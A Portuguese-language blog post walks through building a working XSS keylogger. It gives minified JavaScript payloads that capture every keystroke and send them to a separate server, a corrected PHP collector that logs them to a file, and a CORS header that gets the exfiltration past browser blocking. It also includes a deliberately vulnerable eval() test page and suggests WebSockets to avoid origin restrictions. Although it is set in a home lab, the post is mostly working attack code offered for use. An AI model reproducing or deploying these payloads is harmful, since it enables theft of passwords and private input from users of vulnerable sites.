Em 10 de Abril de 2019, Ismail Tesdelen, Bug Hunter de Istambul, criou o que ele chamou de “o menor paper do mundo mostrando como usar Javascript para gravar as teclas pressionadas e salvá-las”. O código Javascript dele era bem simples e o código PHP que ele usou no paper tinha erros que impediam de ser usado na vida real (algo comum em códigos públicos. Isso impede de ser usado por script kiddies, já que eles não sabem programar. Só sabem usar o que os outros criam).
Outros códigos espalhados pela internet esbarram em outro problema: são bloqueados pelo CORS (Cross-Origin Resource Sharing)/CORB (Cross-Origin Read Blocking). No post de hoje resolverei todos os problemas acima.
O que é XSS?
XSS é uma vulnerabilidade que permite a inserção de códigos cliente-side no lado do servidor. O vetor para ativar um XSS podem ser vários: um HTTP Header, um input que não é verificado corretamente, uma variável de cookie, enfim.
No fim, um código client-side é inserido na página, o servidor renderiza este código e envia para o navegador do usuário, que executa este código no navegador dele automaticamente.
Qual o risco disso?
O risco é conseguir realizar qualquer coisa que um código client-side consiga fazer: alterar endereços de submit de formulários, criar, alterar e deletar elementos da página (DOM), roubar sessões autenticas, enfim. As possibilidades são muitas. O Ismail, em seu paper, trouxe mais uma: criar um keylogger. No código dele, todas as teclas e a hora que foram pressionadas eram enviadas em formato json para um outro servidor qualquer. O método usado por ele é gerando novas “imagens” que tinham o “source” definido como um endereço externo e uma varável “q” no método GET que continha os dados capturados.
O código do Ismail é este:
var buffer = []; var url = 'http://localhost/?q=' document.onkeypress = function (e){ var timestamp = Date.now() | 0; var stroke = { k: e.key, t: timestamp }; buffer.push(stroke); } window.setInterval(function(){ if (buffer.length > 0){ var data = encodeURIComponent(JSON.stringify(buffer)); new Image().src = url + data; buffer = []; } }, 200);
Abra o console de desenvolvedor do seu navegador, digite o código acima e comece a digitar letras na página. Você verá que eventualmente serão feitas requisições para “localhost” de uma forma que parece “criptografada”. Nesta URL são enviadas as teclas digitadas e a hora que foram pressionadas.
Claro que será necessário um código server-side no endereço especificado no código Javascript que receberá o conteúdo desta variável “q” e salvará de alguma forma.
Ismail colocou o seguinte código PHP no paper para salvar as teclas digitadas:
<?php if (!empty($_GET[‘q’])){ $logfile = fopen(‘data.txt’, ‘a+’); file_write($log_file, $_GET[‘q’]); file_close($log_file); } ?>
Para emular este comportamento e ter um código vulnerável a XSS, crie um arquivo HTML com este código:
<html> <head> <title>Teste XSS - Keylogger</title> </head> <body> <div> <h1>Digite algo</h1> <br> <input type="text" id="xss" /> <input type="button" onclick="vai()" value="XSS This"> </div> <div class="result"> </div> </body> <script> function vai(){ var texto = document.getElementById("xss").value; eval(texto); } </script> </html>
Digite qualquer código javascript no input. Por exemplo: alert(“oi”);, clique no botão “XSS This” e deverá aparecer um alert com “oi” no corpo.
Criando dois servidores web para receber as teclas digitadas e emular um cenário real
Neste ponto eu criei dois servidores web: um na minha máquina real e um em uma máquina virtual para emular um servidor web externo. Para isso eu baixei o Xampp nas duas máquinas, instalei e:
- Na máquina virtual 1:
Nesta máquina eu criei uma pasta “teste” dentro da pasta “htdocs” do diretório do Xampp. Nesta nova pasta, criei um arquivo index.html e copiei o código html neste arquivo. - Na máquina virtual 2:
Criei uma pasta “teste” dentro da pasta “htdocs” no diretório do Xampp. Dentro da pasta “teste”, criei o arquivo “index.php” exatamente igual ao código PHP do Ismail, porém com as correções no código intencionalmente errado dele.
O arquivo “index.php” ficou assim:
<?php if (!empty($_GET['q'])){ $logfile = fopen("data.txt", "a+"); fwrite($logfile, $_GET['q']); fclose($logfile); } ?>
Iniciei os servidores web, peguei os IPs de ambas as máquinas, digitei esses IPs no navegador da minha máquina host e verifiquei se conseguia acesso! Apareceu a página padrão do Xampp em ambos os IPs! Está tudo pronto! =D
Tentando fazer uma requisição externa
Agora vou tentar usar o código Javascript do Ismail. Para ele entrar todo em uma linha de input, minifiquei o código tirando os espaços desnecessários, as quebras de linha, juntando declarações de variáveis e substituindo a URL pelo IP do meu servidor web da máquina virtual.
O código final ficou assim:
var buffer=[],url="http://192.168.6.132/teste/index.php?q=";document.onkeypress=function(e){var n=0|Date.now(),f={k:e.key,t:n};buffer.push(f)},window.setInterval(function(){if(buffer.length>0){var e=encodeURIComponent(JSON.stringify(buffer));(new Image).src=url+e,buffer=[]}},200);
Inseri este código no input do HTML criado, apertei o botão XSS This e então comecei a digitar qualquer coisa na tela (mesmo fora do input). Na máquina virtual 2 foi criado um novo arquivo: “data.txt”, onde estão registradas todas as teclas digitadas e o momento que foram registradas em formato JSON.
Quando eu fiz este teste pela primeira vez, as requisições estavam todas sendo bloqueadas pelo CORB (Cross-Origin Read Blocking). Depois eu fiz outros testes com outros códigos, voltei os snapshots das máquinas e agora não consigo mais gerar este comportamento para mostrar aqui… De qualquer forma, tratarei este problema e de outros códigos e como são resolvidos neste artigo.
Testando outro código famoso
Se você digitar “XSS Keylogger” no Google, o primeiro link que aparece é do repositório GitHub do “Vincent Tran” (chentetran). O código dele é de 2016 (bem anterior ao código do Ismail, mostrando que essa técnica é bem antiga) e é bem menor! Segue o código do Vincent:
<script type="text/javascript"> var l = ""; // empty string to concatenate keys onto document.onkeypress = function (e) { l += e.key; console.log(l); // remove this line /* var req = new XMLHttpRequest(); req.open("POST","<server goes here>", true); // ADD URL HERE! req.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); req.send("data=" + l); */ } </script>
O código do Vincent usa uma técnica diferente do código do Ismail. Este código utiliza requisições HTTP com XMLHttpRequest, muito utilizado em programação com AJAX.
Para este código funcionar perfeitamente no laboratório que criei, adaptarei para que as requisições sejam feitas com método GET, retirarei as tags “script”, já que nosso código funcionará dentro do eval(), removerei a linha do “console.log”, descomentarei o código referente as requisições HTTP e “minificarei” o resultado para ficar tudo em uma só linha. O código final ficou assim:
var l="";document.onkeypress=function(e){l+=e.key;var t=new XMLHttpRequest;t.open("GET","http://192.168.6.132/teste/index.php?q="+l,!0),t.setRequestHeader("Content-type","application/x-www-form-urlencoded"),t.send()};
Agora eu apenas dou um “reload” na minha página html de teste e digito esse código no “input”. O código é executado pelo eval. Eu começo a digitar teclas aleatórias e nas “Ferramentas de Desenvolvedor” do Chrome, percebo que todas as requisições estão sendo bloqueadas pelo CORS.
CORB/CORS? O que são?
CORB significa “Cross-Origin Read Blocking” (Bloqueio de Leitura de Origens Diferentes). Basicamente, como diz a documentação do Chrome, é um “algoritmo que consegue identificar e bloquear o carregamento no navegador de resources de origens diversas antes de chegarem a página”.
No código fonte do “Chromium” (a versão de código aberto do Chrome), existe uma explicação sobre o CORB:
“A política de mesma origem (same-origin policy) geralmente impede que uma origem leia recursos de rede arbitrários de outra origem. Na prática, aplicar essa política não é tão simples quanto bloquear todas as cargas de origem: exceções devem ser estabelecidas para recursos da Web, como <img> ou <script>, que podem direcionar recursos de origem cruzada por razões históricas, e para o mecanismo CORS o que permite que alguns recursos sejam lidos seletivamente em outras origens.
Certos tipos de conteúdo, no entanto, podem se mostrar incompatíveis com todos os contextos permissivos historicamente permitidos. JSON é um desses tipos: uma resposta JSON resultará em um erro de decodificação quando direcionado pela tag <img>, em um erro não operacional ou de sintaxe quando direcionado pela tag <script> e assim por diante. O único caso em que uma página da web pode carregar o JSON com consequências observáveis é via fetch () ou XMLHttpRequest; e nesses casos, as leituras de origem são moderadas pelo CORS.
Ao detectar e bloquear cargas de recursos protegidos por CORB mais cedo – ou seja, antes que a resposta chegue ao estágio do decodificador de imagem ou do analisador de JavaScript – o CORB defende contra vulnerabilidades de canal lateral que podem estar presentes nos estágios ignorados.”
O que isso significa: que se o site “hackingnaweb.com” fizer uma requisição “client-side” para “criar” uma “imagem” que venha de https://amazon.com, o navegador deverá bloquear! Foi exatamente por isso que o código do Ismail não funcionou (ao menos não na primeira vez… Depois, por algum motivo que eu desconheço, passou a funcionar…). O código dele cria uma nova imagem com “new Image().src =” que vem de uma origem diferente da origem do site com XSS e, por isso, é bloqueada.
Para ver uma demonstração do CORB em ação, acesse o site https://anforowicz.github.io/xsdb-demo/index.html, abra as ferramentas de desenvolvedor (Ctrl+Shift+I no Chrome) e entre no “Console”, depois clique no botão “Add <img src=https://www.chromium.org/>. Aparecerá a seguinte mensagem no “Console”:
O CORS (Cross-Origin Resource Sharing) é semelhante ao CORB. Ele bloqueia requisições HTTP para sites de origens diversas a URL. Por isso o código do Vincent foi bloqueado. Ele faz diversas requisições HTTP usando o XMLHttpRequest() para uma origem diferente da URL. Por isso nossas requisições são bloqueadas
Como resolver e conseguir meu Keylogger?
A documentação do “Developer Mozilla” diz que: “CORS – Cross-Origin Resource Sharing (Compartilhamento de recursos com origens diferentes) é um mecanismo que usa cabeçalhos adicionais HTTP para informar a um navegador que permita que um aplicativo Web seja executado em uma origem (domínio) com permissão para acessar recursos selecionados de um servidor em uma origem distinta. Um aplicativo Web executa uma requisição cross-origin HTTP ao solicitar um recurso que tenha uma origem diferente (domínio, protocolo e porta) da sua própria origem”. Portanto sabemos que o controle de permissão para acessar um “Cross-Origin Resource” se dá por cabeçalhos HTTP adicionais!
A documentação contiua: “Por motivos de segurança, navegadores restringem requisições cross-origin HTTP a partir de scripts. Por exemplo, XMLHttpRequest e Fetch API seguem a política de mesma origem (same-origin policy). Assim, um aplicativo web que faz uso dessas APIs só poderá fazer requisições HTTP da mesma origem da qual o aplicativo foi carregado, a menos que a resposta da outra origem inclua os cabeçalhos CORS corretos.”
Portanto nosso keylogger javascript só poderá enviar para a mesma origem do site vulnerável (da qual nós, a princípio, não temos permissão de escrever códigos server-side)… “a menos que a resposta da outra origem inclua os cabeçalhos CORS corretos”. Aí está a resposta! Devemos adicionar o cabeçalho HTTP correto ao servidor! Adicionando esse cabeçalho, resolvemos o problema do CORS e do CORB também!
Qual é este cabeçalho?
Existem diversos cabeçalhos HTTP que entram em cena quando falamos do controle de mesma-origem (Same-Origin Policy). Mas com apenas um header conseguimos liberar o acesso: “Access-Control-Allow-Origin”.
Voltando à documentação de “Developer” da Mozilla, lemos: “O Access-Control-Allow-Origin é um cabeçalho de resposta que indica se os recursos da resposta podem ser compartilhados com a origem (origin) dada.”
A sintaxe para este cabeçalho é:
“Access-Control-Allow-Origin: *” – Para liberar acesso a todos as origens
“Access-Control-Allow-Origin: <origin>” – Para liberar acesso para uma ou mais origem(ns) específica(s). Por exemplo: Access-Control-Allow-Origin: https://developer.mozilla.org libera acesso para códigos do domínio developer.mozilla.org que venham de origem “https”.
Para adicionar este cabeçalho em nossa “resposta” (que vem do lado do servidor com o código server-side), existem duas formas:
- Para adicionar este cabeçalho em nossa “resposta” (que vem do lado do servidor com o código server-side), existem duas formas:
- Usando a própria linguagem server-side para enviar o cabeçalho.
O PHP tem que função que permite adicionar cabeçalhos HTTP a uma requisição qualquer: a função “header”. A documentação do PHP diz que esta função “é usada para enviar um cabeçalho HTTP cru” (ou seja, enviará exatamente como foi definido). A documentação ainda lembra que esta função “deve ser chamada antes de qualquer output ser enviado”.
Pronto! Agora vamos recriar o código server-side do PHP e adicionar este cabeçalho. Ficará assim:
<?php header("Access-Control-Allow-Origin: *"); if (!empty($_GET['q'])){ $logfile = fopen("data.txt", "a+"); fwrite($logfile, $_GET['q']); fclose($logfile); } ?>
A partir de agora o XSS consegue comunicação com o servidor e o status é “200” (significa que deu tudo certo) em todas as requisições.
Melhorias a fazer
O código do Ismail gera um log difícil de ler e nem um pouco fluído. Isso porque o resultado do código dele é uma sequência de “json”s. Por exemplo, um log para o pequeno texto “teste teste2” fica:
[{"k":"t","t":1598318596}][{"k":"e","t":1598318676}][{"k":"s","t":1598318908}][{"k":"t","t":1598319092},{"k":"e","t":1598319174}][{"k":" ","t":1598319471}][{"k":"t","t":1598319743}][{"k":"e","t":1598319827}][{"k":"s","t":1598320060}][{"k":"t","t":1598320252},{"k":"e","t":1598320318}][{"k":"2","t":1598320847}]
Já o código do Vincent, para o mesmo textinho, gera este log:
ttetestesttestetesteteste tteste teteste testeste testteste testeteste teste2
O código do Vincent não limpa o “buffer”. Cada requisição envia uma nova sequência de tudo que foi digitado, misturando o que já estava no arquivo e gerando esse log incompreensível.
Este arquivo de log poderia ser melhorado em ambos os casos. É bem fácil realizar isto. Eu fiz uma versão que produz um log mais apresentável. Deixarei que vocês façam também a versão de vocês.
Uma outra melhoria que poderia ser feita: usar WebSockets! WebSockets, diz a documentação da Mozilla, “é uma tecnologia avançada que permite abrir uma comunicação interativa de duas-vias entre o navegador e um servidor. Com esta API, você pode mandar mensagens para um servidor e receber respostas orientadas a eventos sem ter que consultar o servidor para obter resposta”
Ainda não existe nenhuma restrição sobre os WebSockets! Não existe SOP (Same-Origin Policy), não existe CORS, não existe CORB! As possibilidades com WebSockets são imensas! Até mesmo controle remoto de navegadores é possível! Hoje já existem aplicações bem interessantes usando WebSockets! Até clientes de torrent já existem! Vale a pena pesquisar sobre!
Gostou do artigo? Me manda uma mensagem! =D Até a próxima
Thanks for providing like terrific knowledge.
Thank you a lot! =D